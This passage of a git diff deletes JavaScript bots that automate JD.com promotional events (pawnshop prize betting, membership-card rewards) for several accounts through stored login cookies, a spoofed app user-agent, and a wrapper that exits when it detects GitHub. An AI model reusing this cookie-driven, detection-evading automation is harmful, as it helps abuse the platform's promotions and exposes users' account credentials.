}else{ - $.continueRun = false; - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_pawnshopBetPop': - if (data.code === 0 && data.data && data.data.result) { - $.betInfo = data.data.result; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_pawnshopRewardPop': - console.log(`开奖结果`); - console.log(JSON.stringify(data)); - if(data.code === 0 && data.data && data.data.result){ - if(data.data.result.status === 2){ - console.log('恭喜你,应该是中奖了;'); - let message = `第【${$.index}】个账号,${$.UserName},可能抽中了【${data.data.result.skuName}】,请登录APP查看` - await notify.sendNotify(`燃动夏季下注`, message); - }else{ - console.log('未中奖'); - } - } - break; - case 'olympicgames_pawnshopBetRecord': - if (data.code === 0 && data.data && data.data.result && data.data.result[0]) { - let rewardList = data.data.result[0].betRecordVOList; - console.log(`\n下注记录`); - for (let i = 0; i < rewardList.length; i++) { - let oneInfo = rewardList[i]; - if(oneInfo.status === 0){ - console.log(`奖品:${oneInfo.skuName},已下注${oneInfo.score}次,未开奖`); - }else if(oneInfo.status === 3){ - console.log(`奖品:${oneInfo.skuName},未中奖`); - }else { - console.log(`奖品:${oneInfo.skuName},其他情况,进APP查看`); - } - } - }else{ - console.log(JSON.stringify(data)); - } - break; - default: - console.log(`未判断的异常${type}`); - } -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -async function getPostRequest(body) { - const method = `POST`; - const headers = { - "Accept": "application/json", - "Accept-Encoding": "gzip, deflgetPostRequestate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': $.cookie, - "Origin": "https://wbbny.m.jd.com", - "Referer": "https://wbbny.m.jd.com/", - 'User-Agent': UA//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - }; - return { method: method, headers: headers, body: body}; -} - -function getUUID() { - var n = (new Date).getTime(); - let uuid="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx" - uuid = uuid.replace(/[xy]/g, function (e) { - var t = (n + 16 * Math.random()) % 16 | 0; - return n = Math.floor(n / 16), - ("x" == e ? t : 3 & t | 8).toString(16) - }).replace(/-/g, "") - return uuid -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/jd_summer_movement_card.js b/backUp/jd_summer_movement_card.js deleted file mode 100644 index ebb554d..0000000 --- a/backUp/jd_summer_movement_card.js +++ /dev/null @@ -1,463 +0,0 @@ -/* - -cron 10 8 * * * jd_summer_movement_card.js - - - */ -const $ = new Env('燃动夏季领会员奖励'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const https = require('https'); -const fs = require('fs/promises'); -const { R_OK } = require('fs').constants; -const vm = require('vm'); -const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; -const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; -const REG_SCRIPT = /